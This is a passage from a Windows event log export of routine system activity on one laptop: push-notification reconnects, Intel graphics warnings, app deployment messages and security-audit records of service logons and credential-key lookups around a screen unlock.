08:47:28.261\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:47:37.038\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.039\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.124\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:37.124\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.896\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:47:45.912\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t1005\tThe Connection Provider status changed to Disconnected.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.646\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.658\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.672\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.674\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.683\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.684\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.684\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:00.687\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:48:00.687\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:48:09.464\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.465\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.472\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:09.472\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:14.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:48:18.258\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.259\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.259\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:18.263\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:48:47.539\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:48:47.876\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:00.891\t8001\t\"Skipping license manager: PFN Microsoft.WindowsFeedbackHub_2.2606.702.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:49:00.992\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:05.786\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:08.570\t326\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:49:08.574\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:49:08.731\t327\tThe following packages will be installed: NULL. The following packages will be removed: NULL\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:49:11.483\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 08:49:26.439\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:26.998\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:28.113\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:29.332\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:29.555\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:35.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:49:39.146\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:40.478\t3057\tPresentation Endpoint received a call to close session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3058\tPresentation Endpoint ended a call to close session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3004\tTile session 3 is being closed\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:40.478\t3005\tTile session 3 is closed with error code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:41.517\t811\tThe winlogon notification subscriber  began handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.519\t812\tThe winlogon notification subscriber  finished handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.519\t811\tThe winlogon notification subscriber  began handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.520\t812\tThe winlogon notification subscriber  finished handling the notification event (4).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:50:41.528\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Lock\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.538\t177\tReceived console locked notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:50:41.544\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Exited\",\"value\":\"PerformanceMetrics\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.545\t2\t{\"category\":\"DcaTelemetry\",\"level\":\"Information\",\"message\":\"App_Extension\",\"parameters\":{\"collectionEnabled\":false,\"status\":\"Exited\",\"value\":\"Performance\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:50:41.548\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.549\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.549\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.554\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:41.554\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:41.559\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.561\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.561\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:50:41.617\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x10c4\n\tProcess Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:50:43.147\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:50:43.149\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9400 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:01.912\t211\tAdded process 2696 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:51:14.641\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:14.641\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:14.887\t10\t\tError\tIntel-Gfx-Display-External/GfxDisplayExEventViewer\tIntel-Gfx-Display-External\n05.09.2026 08:51:15.033\t507\t\"The system is exiting Modern Standby \n\nReason: Input Keyboard.\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:51:15.033\t566\t\"The system session has transitioned from 1 to 3.\n\nReason InputAccelerometer \n\nBootId: 82\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-Power\n05.09.2026 08:51:15.055\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:51:15.055\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:15.056\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.562\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.562\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.563\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.563\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.565\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.566\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.568\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.578\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.579\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.579\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:16.875\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.875\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.878\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.879\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:51:16.888\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tNetwork Address:\t127.0.0.1\n\tPort:\t\t\t0\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount 